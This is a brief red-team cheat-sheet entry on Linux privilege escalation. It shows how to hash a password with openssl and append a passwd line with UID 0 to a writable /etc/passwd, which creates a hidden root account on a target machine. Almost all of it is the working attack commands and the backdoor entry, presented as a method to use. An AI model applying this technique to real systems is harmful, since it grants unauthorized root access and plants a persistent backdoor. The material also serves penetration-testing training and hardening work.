Privilege escalations

When we have an access to the target machine and we can write to the /etc/passwd file, we can easily add a new user like that:

$ openssl passwd -1 -salt [salt] [password]
$ openssl passwd -1 -salt test myPassword
$1$test$VXVZQpn37Q9hdCsuky.H3.

And now, we ca add the new password into the /etc/passwd file with root privilege:

new:$1$test$VXVZQpn37Q9hdCsuky.H3.:0:0:root:/root:/bin/bash

https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/